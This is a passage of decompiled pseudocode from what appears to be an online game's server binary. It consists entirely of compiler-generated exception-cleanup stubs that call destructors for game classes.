TreasureChestLocationManager::_TreasureChestLocationManager((CharacterPassiveList *)(*(_DWORD *)(a1 - 16) + 89166)); } //----- (0058ABF0) -------------------------------------------------------- void __usercall _L183575(int a1) { StreetBoothSell::_StreetBoothSell((StreetBoothSell *)(*(_DWORD *)(a1 - 20) + 8)); } //----- (0058ABFB) -------------------------------------------------------- void __usercall _L183450(int a1) { ShineObjectClass::ShinePlayer::BoothSell::_BoothSell((ShineObjectClass::ShinePlayer::BoothSell *)(*(_DWORD *)(a1 - 16) + 89184)); } //----- (0058AC09) -------------------------------------------------------- void __usercall _L183451(int a1) { ShineObjectClass::ShinePlayer::MiniHouseStr::_MiniHouseStr((ShineObjectClass::ShinePlayer::MiniHouseStr *)(*(_DWORD *)(a1 - 16) + 89936)); } //----- (0058AC17) -------------------------------------------------------- void __usercall _L183452(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(*(_DWORD *)(a1 - 16) + 91036)); } //----- (0058AC25) -------------------------------------------------------- void __usercall _L183453(int a1) { ChargedItemEffectList::ChargedItem::_ChargedItem((ChargedItemEffectList::ChargedItem *)(*(_DWORD *)(a1 - 16) + 91064)); } //----- (0058AC33) -------------------------------------------------------- void __usercall _L183454(int a1) { ShineObjectClass::ShinePlayer::ChargedInven::_ChargedInven((ShineObjectClass::ShinePlayer::ChargedInven *)(*(_DWORD *)(a1 - 16) + 91724)); } //----- (0058AC41) -------------------------------------------------------- void __usercall _L183455(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(*(_DWORD *)(a1 - 16) + 92152)); } //----- (0058AC4F) -------------------------------------------------------- void __usercall _L183456(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(*(_DWORD *)(a1 - 16) + 92153)); } //----- (0058AC5D) -------------------------------------------------------- void __usercall _L183457(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(*(_DWORD *)(a1 - 16) + 92156)); } //----- (0058AC6B) -------------------------------------------------------- void __usercall _L183458(int a1) { List::_List((ItemLotAnalyser::LotAnalyser *)(*(_DWORD *)(a1 - 16) + 92192)); } //----- (0058AC79) -------------------------------------------------------- void __usercall _L183459(int a1) { std::vector>::_vector>((std::vector > *)(*(_DWORD *)(a1 - 16) + 92552)); } //----- (0058AC87) -------------------------------------------------------- void __usercall _L183676(int a1) { MobTargetAggresive::_MobTargetAggresive(*(MobTargetAggresive **)(a1 - 20)); } //----- (0058AC8F) -------------------------------------------------------- void __usercall _L183460_0(int a1) { MobTargetPlayerCaptivate::_MobTargetPlayerCaptivate((MobTargetPlayerCaptivate *)(*(_DWORD *)(a1 - 16) + 92572)); } //----- (0058ACB0) -------------------------------------------------------- void __usercall _L183816(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (0058ACD0) -------------------------------------------------------- void __usercall _L189221(int a1) { ShineObjectClass::ShineMobileObject::_ShineMobileObject(*(_DWORD *)(a1 - 16)); } //----- (0058ACD8) -------------------------------------------------------- void __usercall _L189222(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(*(_DWORD *)(a1 - 16) + 7432)); } //----- (0058ACE6) -------------------------------------------------------- void __usercall _L189223(int a1) { TargetAnalyser_Player::_TargetAnalyser_Player((TargetAnalyser_Player *)(*(_DWORD *)(a1 - 16) + 7440)); } //----- (0058ACF4) -------------------------------------------------------- void __usercall _L189224(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(*(_DWORD *)(a1 - 16) + 7452)); } //----- (0058AD02) -------------------------------------------------------- void __usercall _L189225(int a1) { std::vector>::_vector>((std::vector,std::allocator > >::iterator,std::allocator,std::allocator) { MobTacticElement::MobActionArgument::Selector::_Selector((MobTacticElement::MobActionArgument::Selector *)(*(_DWORD *)(a1 - 20) + 8)); } //----- (0058AD1B) -------------------------------------------------------- void __usercall _L189226(int a1) { MobTacticElement::MobActionArgument::_MobActionArgument((MobTacticElement::MobActionArgument *)(*(_DWORD *)(a1 - 16) + 7624)); } //----- (0058AD29) -------------------------------------------------------- void __usercall _L189227(int a1) { List::_List((HitMeList::EnemyList *)(*(_DWORD *)(a1 - 16) + 8424)); } //----- (0058AD37) -------------------------------------------------------- void __usercall _L189228(int a1) { std::vector>::_vector>((std::vector,std::allocator > >::iterator,std::allocator,std::allocator) { ShineObjectClass::ShineMob::_ShineMob(*(_DWORD *)(a1 - 16)); } //----- (0058AD70) -------------------------------------------------------- void __usercall _L189547(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 20)); } //----- (0058AD83) -------------------------------------------------------- void __usercall _L189549(int a1) { operator delete__(*(void **)(a1 - 16)); } //----- (0058AD8E) -------------------------------------------------------- void __usercall _L189550(int a1) { operator delete__(*(void **)(a1 - 16)); } //----- (0058AD99) -------------------------------------------------------- void __usercall _L189551(int a1) { operator delete__(*(void **)(a1 - 16)); } //----- (0058ADA4) -------------------------------------------------------- void __usercall _L189552(int a1) { operator delete__(*(void **)(a1 - 16)); } //----- (0058ADBA) -------------------------------------------------------- void __usercall _L189554(int a1) { operator delete__(*(void **)(a1 - 16)); } //----- (0058ADC5) -------------------------------------------------------- void __usercall _L189555(int a1) { operator delete__(*(void **)(a1 - 16)); } //----- (0058ADD0) -------------------------------------------------------- void __usercall _L189556(int a1) { operator delete__(*(void **)(a1 - 16)); } //----- (0058ADDB) -------------------------------------------------------- void __usercall _L189557(int a1) { operator delete__(*(void **)(a1 - 16)); } //----- (0058AE00) -------------------------------------------------------- void __usercall _L147918(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (0058AE20) -------------------------------------------------------- void __usercall _L147995(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 76)); } //----- (0058AE28) -------------------------------------------------------- void __usercall _L147996(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 40)); } //----- (0058AE30) -------------------------------------------------------- void __usercall _L147997(int a1) { AxialListPacketBroadcast::_AxialListPacketBroadcast((AxialListPacketBroadcast *)(a1 - 52)); } //----- (0058AE50) -------------------------------------------------------- void __usercall _L155170(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (0058AE70) -------------------------------------------------------- void __usercall _L155196(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (0058AE78) -------------------------------------------------------- void __usercall _L155197(int a1) { AxialListDeathAura::_AxialListDeathAura((AxialListDeathAura *)(a1 - 20)); } //----- (0058AE90) -------------------------------------------------------- void __usercall _L158074_1(int a1) { AxialListPacketBroadcast::_AxialListPacketBroadcast((AxialListPacketBroadcast *)(a1 - 24)); } //----- (0058AEB0) -------------------------------------------------------- void __usercall _L158239(int a1) { ItemBoxIterator::_ItemBoxIterator((ItemBoxIterItemRegNo *)(a1 - 28)); } //----- (0058AEB8) -------------------------------------------------------- void __usercall _L158240(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 40)); } //----- (0058AED0) -------------------------------------------------------- void __usercall _L158809(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (0058AEF0) -------------------------------------------------------- void __usercall _L159593(int a1) { operator delete(*(void **)(a1 + 4)); } //----- (0058AF10) -------------------------------------------------------- void __usercall _L161548(int a1) { std::basic_string_std::allocator>::_basic_string_std::allocator>((std::basic_string,std::allocator > *)(a1 - 80)); } //----- (0058AF50) -------------------------------------------------------- void __usercall _L162182(int a1) { std::basic_string_std::allocator>::_basic_string_std::allocator>((std::basic_string,std::allocator > *)(a1 - 44)); } //----- (0058AF70) -------------------------------------------------------- void __usercall _L162691(int a1) { std::vector>::_vector>((std::vector,std::allocator > >::iterator,std::allocator,std::allocator) { ItemBoxIterator::_ItemBoxIterator((ItemBoxIterItemRegNo *)(a1 - 168)); } //----- (0058AF86) -------------------------------------------------------- void __usercall _L162693(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 184)); } //----- (0058AF91) -------------------------------------------------------- void __usercall _L162694_0(int a1) { ItemBoxIterator::_ItemBoxIterator((ItemBoxIterItemRegNo *)(a1 - 152)); } //----- (0058AFB0) -------------------------------------------------------- void __usercall _L162033(int a1) { AxialListPacketBroadcast::_AxialListPacketBroadcast((AxialListPacketBroadcast *)(a1 - 24)); } //----- (0058AFD0) -------------------------------------------------------- void __usercall _L164644(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 132)); } //----- (0058AFF0) -------------------------------------------------------- void __usercall _L163397(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 532)); } //----- (0058AFFB) -------------------------------------------------------- void __usercall _L163398(int a1) { AxialListPacketBroadcast::_AxialListPacketBroadcast((AxialListPacketBroadcast *)(a1 - 544)); } //----- (0058B006) -------------------------------------------------------- void __usercall _L163399(int a1) { AxialListPacketBroadcast::_AxialListPacketBroadcast((AxialListPacketBroadcast *)(a1 - 544)); } //----- (0058B020) -------------------------------------------------------- void __usercall _L163761(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 44)); } //----- (0058B040) -------------------------------------------------------- void __usercall _L163885(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 436)); } //----- (0058B04B) -------------------------------------------------------- void __usercall _L163886(int a1) { AxialListMagicFieldDamage::_AxialListMagicFieldDamage((AxialListMagicFieldDamage *)(a1 - 432)); } //----- (0058B060) -------------------------------------------------------- void __usercall _L164020(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 40)); } //----- (0058B068) -------------------------------------------------------- void __usercall _L164021(int a1) { AxialListRescueRequest::_AxialListRescueRequest((AxialListRescueRequest *)(a1 - 36)); } //----- (0058B080) -------------------------------------------------------- void __usercall _L164236(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 32)); } //----- (0058B0A0) -------------------------------------------------------- void __usercall _L164318(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 28)); } //----- (0058B0A8) -------------------------------------------------------- void __usercall _L164319_0(int a1) { AxialListPacketBroadcast::_AxialListPacketBroadcast((AxialListPacketBroadcast *)(a1 - 24)); } //----- (0058B0C0) -------------------------------------------------------- void __usercall _L164496(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 168)); } //----- (0058B0E0) -------------------------------------------------------- void __usercall _L165013(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 28)); } //----- (0058B0E8) -------------------------------------------------------- void __usercall _L165014(int a1) { SlantedListNormalizer::_SlantedListNormalizer((SlantedListNormalizer *)(a1 - 32)); } //----- (0058B0F0) -------------------------------------------------------- void __usercall _L165015(int a1) { AxialListPacketBroadcast::_AxialListPacketBroadcast((AxialListPacketBroadcast *)(a1 - 24)); } //----- (0058B0F8) -------------------------------------------------------- void __usercall _L165016(int a1) { NeighborhoodChecker::_NeighborhoodChecker((NeighborhoodChecker *)(a1 - 24)); } //----- (0058B110) -------------------------------------------------------- void __usercall _L165119(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (0058B118) -------------------------------------------------------- void __usercall _L165120(int a1) { SlantedListNormalizer::_SlantedListNormalizer((SlantedListNormalizer *)(a1 - 20)); } //----- (0058B130) -------------------------------------------------------- void __usercall _L165316(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 280)); } //----- (0058B150) -------------------------------------------------------- void __usercall _L165788(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 32)); } //----- (0058B158) -------------------------------------------------------- void __usercall _L165789(int a1) { SlantedListNormalizer::_SlantedListNormalizer((SlantedListNormalizer *)(a1 - 96)); } //----- (0058B160) -------------------------------------------------------- void __usercall _L165790(int a1) { ChargedItemEffectList::ChargedEffectListRouter::_ChargedEffectListRouter((ChargedItemEffectList::ChargedEffectListRouter *)(a1 - 28)); } //----- (0058B168) -------------------------------------------------------- void __usercall _L165802(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 80)); } //----- (0058B170) -------------------------------------------------------- void __usercall _L165803(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 84)); } //----- (0058B178) -------------------------------------------------------- void __usercall _L165804(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 88)); } //----- (0058B180) -------------------------------------------------------- void __usercall _L165797(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 60)); } //----- (0058B188) -------------------------------------------------------- void __usercall _L165798(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 64)); } //----- (0058B190) -------------------------------------------------------- void __usercall _L165799(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 68)); } //----- (0058B198) -------------------------------------------------------- void __usercall _L165800(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 72)); } //----- (0058B1A0) -------------------------------------------------------- void __usercall _L165791(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 36)); } //----- (0058B1A8) -------------------------------------------------------- void __usercall _L165792(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 40)); } //----- (0058B1B0) -------------------------------------------------------- void __usercall _L165793(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 48)); } //----- (0058B1B8) -------------------------------------------------------- void __usercall _L165794(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 52)); } //----- (0058B1D0) -------------------------------------------------------- void __usercall _L166187(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 24)); } //----- (0058B1D8) -------------------------------------------------------- void __usercall _L166221(int a1) { ShineGuildAcademyMasterBuff::_ShineGuildAcademyMasterBuff((TableNameCompareArgument *)(a1 - 20)); } //----- (0058B1F0) -------------------------------------------------------- void __usercall _L166526(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 28)); } //----- (0058B1F8) -------------------------------------------------------- void __usercall _L166527(int a1) { SlantedListNormalizer::_SlantedListNormalizer((SlantedListNormalizer *)(a1 - 32)); } //----- (0058B200) -------------------------------------------------------- void __usercall _L166528_0(int a1) { NeighborhoodChecker::_NeighborhoodChecker((NeighborhoodChecker *)(a1 - 24)); } //----- (0058B208) -------------------------------------------------------- void __usercall _L166529_0(int a1) { AxialListPacketBroadcast::_AxialListPacketBroadcast((AxialListPacketBroadcast *)(a1 - 24)); } //----- (0058B220) -------------------------------------------------------- void __usercall _L167573(int a1) { std::basic_string_std::allocator>::_basic_string_std::allocator>((std::basic_string,std::allocator > *)(a1 - 80)); } //----- (0058B240) -------------------------------------------------------- void __usercall _L167852(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (0058B260) -------------------------------------------------------- void __usercall _L156053(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 28)); } //----- (0058B268) -------------------------------------------------------- void __usercall _L156054(int a1) { AxialListPacketBroadcast::_AxialListPacketBroadcast((AxialListPacketBroadcast *)(a1 - 24)); } //----- (0058B280) -------------------------------------------------------- void __usercall _L156110(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (0058B2A0) -------------------------------------------------------- void __usercall _L160101(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 32)); } //----- (0058B2A8) -------------------------------------------------------- void __usercall _L160102(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 36)); } //----- (0058B2B0) -------------------------------------------------------- void __usercall _L160103(int a1) { AxialListPacketBroadcast::_AxialListPacketBroadcast((AxialListPacketBroadcast *)(a1 - 24)); } //----- (0058B2D0) -------------------------------------------------------- void __usercall _L160292(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 152)); } //----- (0058B2DB) -------------------------------------------------------- void __usercall _L160293(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 148)); } //----- (0058B2F0) -------------------------------------------------------- void __usercall _L160527_0(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 32)); } //----- (0058B2F8) -------------------------------------------------------- void __usercall _L160529_0(int a1) { AxialListPacketBroadcast::_AxialListPacketBroadcast((AxialListPacketBroadcast *)(a1 - 24)); } //----- (0058B310) -------------------------------------------------------- void __usercall _L160788(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 32)); } //----- (0058B330) -------------------------------------------------------- void __usercall _L162348_0(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 28)); } //----- (0058B338) -------------------------------------------------------- void __usercall _L162349(int a1) { AxialListPacketBroadcast::_AxialListPacketBroadcast((AxialListPacketBroadcast *)(a1 - 24)); } //----- (0058B350) -------------------------------------------------------- void __usercall _L161572(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 156)); } //----- (0058B370) -------------------------------------------------------- void __usercall _L161936(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 160)); } //----- (0058B390) -------------------------------------------------------- void __usercall _L162201(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 24)); } //----- (0058B3B0) -------------------------------------------------------- void __usercall _L162918_0(int a1) { AxialListPacketBroadcast::_AxialListPacketBroadcast((AxialListPacketBroadcast *)(a1 - 24)); } //----- (0058B3D0) -------------------------------------------------------- void __usercall _L163575(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 224)); } //----- (0058B3F0) -------------------------------------------------------- void __usercall _L163671(int a1) { Observer::_Observer((Observer *)(a1 - 28)); } //----- (0058B410) -------------------------------------------------------- void __usercall _L166149(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (0058B430) -------------------------------------------------------- void __usercall _L155541(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (0058B450) -------------------------------------------------------- void __usercall _L160704(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 168)); } //----- (0058B45B) -------------------------------------------------------- void __usercall _L160705(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 164)); } //----- (0058B470) -------------------------------------------------------- void __usercall _L161442(int a1) { AxialListPacketBroadcast::_AxialListPacketBroadcast((AxialListPacketBroadcast *)(a1 - 24)); } //----- (0058B490) -------------------------------------------------------- void __usercall _L161543(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 428)); } //----- (0058B49B) -------------------------------------------------------- void __usercall _L161544(int a1) { AxialListMagicFieldAggro::_AxialListMagicFieldAggro((AxialListMagicFieldAggro *)(a1 - 424)); } //----- (0058B4B0) -------------------------------------------------------- void __usercall _L161691(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 20)); } //----- (0058B4D0) -------------------------------------------------------- void __usercall _L162572(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 28)); } //----- (0058B4D8) -------------------------------------------------------- void __usercall _L162573(int a1) { AxialListPacketBroadcast::_AxialListPacketBroadcast((AxialListPacketBroadcast *)(a1 - 24)); } //----- (0058B4E0) -------------------------------------------------------- void __usercall _L162574(int a1) { AxialListPacketBroadcast::_AxialListPacketBroadcast((AxialListPacketBroadcast *)(a1 - 24)); } //----- (0058B500) -------------------------------------------------------- void __usercall _L164386(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 24)); } //----- (0058B520) -------------------------------------------------------- void __usercall _L166063(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 40)); } //----- (0058B540) -------------------------------------------------------- void __usercall _L166809(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 32)); } //----- (0058B560) -------------------------------------------------------- void __usercall _L166858(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 248)); } //----- (0058B56B) -------------------------------------------------------- void __usercall _L166859(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 164)); } //----- (0058B580) -------------------------------------------------------- void __usercall _L167238(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 44)); } //----- (0058B588) -------------------------------------------------------- void __usercall _L167239(int a1) { VectorClass::VectorWithLength::_VectorWithLength((VectorClass::VectorWithLength *)(a1 - 28)); } //----- (0058B590) -------------------------------------------------------- void __usercall _L167240(int a1) { AxialListPacketBroadcast::_AxialListPacketBroadcast((AxialListPacketBroadcast *)(a1 - 40)); } //----- (0058B5B0) -------------------------------------------------------- void __usercall _L167594_0(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 28)); } //----- (0058B5B8) -------------------------------------------------------- void __usercall _L167595_0(int a1) { AxialListPacketBroadcast::_AxialListPacketBroadcast((AxialListPacketBroadcast *)(a1 - 24)); } //----- (0058B5D0) -------------------------------------------------------- void __usercall _L167725_0(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 36)); } //----- (0058B5D8) -------------------------------------------------------- void __usercall _L167726(int a1) { FanFormSectorArgument::_FanFormSectorArgument((FanFormSectorArgument *)(a1 - 32)); } //----- (0058B5F0) -------------------------------------------------------- void __usercall _L167832(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (0058B610) -------------------------------------------------------- void __usercall _L144739(int a1) { BinaryDataBox::_BinaryDataBox(*(MobResistTable **)(a1 - 16)); } //----- (0058B630) -------------------------------------------------------- void __usercall _L155496(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 28)); } //----- (0058B650) -------------------------------------------------------- void __usercall _L155831(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (0058B670) -------------------------------------------------------- void __usercall _L156109(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 24)); } //----- (0058B690) -------------------------------------------------------- void __usercall _L156368(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 28)); } //----- (0058B698) -------------------------------------------------------- void __usercall _L156369(int a1) { AxialListPacketBroadcast::_AxialListPacketBroadcast((AxialListPacketBroadcast *)(a1 - 24)); } //----- (0058B6B0) -------------------------------------------------------- void __usercall _L156610_1(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 36)); } //----- (0058B6D0) -------------------------------------------------------- void __usercall _L156739(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (0058B6F0) -------------------------------------------------------- void __usercall _L59193(int a1) { BinaryDataBox::_BinaryDataBox(*(MobResistTable **)(a1 - 16)); } //----- (0058B710) -------------------------------------------------------- void __usercall _L156409(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 48)); } //----- (0058B718) -------------------------------------------------------- void __usercall _L156410(int a1) { ItemBoxIterator::_ItemBoxIterator((ItemBoxIterItemRegNo *)(a1 - 32)); } //----- (0058B730) -------------------------------------------------------- void __usercall _L156509(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 132)); } //----- (0058B750) -------------------------------------------------------- void __usercall _L156698_0(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 136)); } //----- (0058B770) -------------------------------------------------------- void __usercall _L156796(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 124)); } //----- (0058B790) -------------------------------------------------------- void __usercall _L144621(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (0058B7B0) -------------------------------------------------------- void __usercall _L156555(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 168)); } //----- (0058B7BB) -------------------------------------------------------- void __usercall _L156557_0(int a1) { ItemBoxIterator::_ItemBoxIterator((ItemBoxIterItemRegNo *)(a1 - 160)); } //----- (0058B7D0) -------------------------------------------------------- void __usercall _L156902(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (0058B7F0) -------------------------------------------------------- void __usercall _L156958(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 24)); } //----- (0058B810) -------------------------------------------------------- void __usercall _L158131(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 52)); } //----- (0058B830) -------------------------------------------------------- void __usercall _L158575(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 28)); } //----- (0058B838) -------------------------------------------------------- void __usercall _L158577(int a1) { AxialListPacketBroadcast::_AxialListPacketBroadcast((AxialListPacketBroadcast *)(a1 - 24)); } //----- (0058B850) -------------------------------------------------------- void __usercall _L158655(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 48)); } //----- (0058B858) -------------------------------------------------------- void __usercall _L158657(int a1) { AxialListPacketBroadcast::_AxialListPacketBroadcast((AxialListPacketBroadcast *)(a1 - 24)); } //----- (0058B870) -------------------------------------------------------- void __usercall _L158946(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (0058B890) -------------------------------------------------------- void __usercall _L156095(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (0058B8B0) -------------------------------------------------------- void __usercall _L156349(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 252)); } //----- (0058B8D0) -------------------------------------------------------- void __usercall _L156494(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 108)); } //----- (0058B8D8) -------------------------------------------------------- void __usercall _L156495(int a1) { ItemBoxIterator::_ItemBoxIterator((ItemBoxIterItemRegNo *)(a1 - 32)); } //----- (0058B8E0) -------------------------------------------------------- void __usercall _L156496_0(int a1) { ItemBoxIterator::_ItemBoxIterator((ItemBoxIterItemRegNo *)(a1 - 48)); } //----- (0058B900) -------------------------------------------------------- void __usercall _L156087_0(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 44)); } //----- (0058B908) -------------------------------------------------------- void __usercall _L156088(int a1) { ItemBoxIterator::_ItemBoxIterator((ItemBoxIterItemRegNo *)(a1 - 28)); } //----- (0058B920) -------------------------------------------------------- void __usercall _L156284(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 252)); } //----- (0058B940) -------------------------------------------------------- void __usercall _L156450(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 252)); } //----- (0058B94B) -------------------------------------------------------- void __usercall _L156451(int a1) { ItemBoxIterator::_ItemBoxIterator((ItemBoxIterItemRegNo *)(a1 - 280)); } //----- (0058B960) -------------------------------------------------------- void __usercall _L156665_0(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (0058B980) -------------------------------------------------------- void __usercall _L156698_1(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 60)); } //----- (0058B988) -------------------------------------------------------- void __usercall _L156699(int a1) { ItemBoxIterator::_ItemBoxIterator((ItemBoxIterItemRegNo *)(a1 - 32)); } //----- (0058B9A0) -------------------------------------------------------- void __usercall _L147072(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 24)); } //----- (0058BA20) -------------------------------------------------------- void __usercall _L15688(int a1) { std::basic_string_std::allocator>::_basic_string_std::allocator>((std::basic_string,std::allocator > *)(a1 - 72)); } //----- (0058BA28) -------------------------------------------------------- void __usercall _L15689(int a1) { std::basic_string_std::allocator>::_basic_string_std::allocator>((std::basic_string,std::allocator > *)(a1 - 44)); } //----- (0058BA40) -------------------------------------------------------- void __usercall _L156512(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 28)); } //----- (0058BA48) -------------------------------------------------------- void __usercall _L156513(int a1) { AxialListPacketBroadcast::_AxialListPacketBroadcast((AxialListPacketBroadcast *)(a1 - 24)); } //----- (0058BA60) -------------------------------------------------------- void __usercall _L156585(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (0058BA80) -------------------------------------------------------- void __usercall _L156587(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (0058BAA0) -------------------------------------------------------- void __usercall _L156628(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 72)); } //----- (0058BAB0) -------------------------------------------------------- void __usercall _L156630(int a1) { ItemBoxIterator::_ItemBoxIterator((ItemBoxIterItemRegNo *)(a1 - 44)); } //----- (0058BAD0) -------------------------------------------------------- void __usercall _L157160(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 76)); } //----- (0058BAF0) -------------------------------------------------------- void __usercall _L145180(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (0058BB10) -------------------------------------------------------- void __usercall _L145232(int a1) { 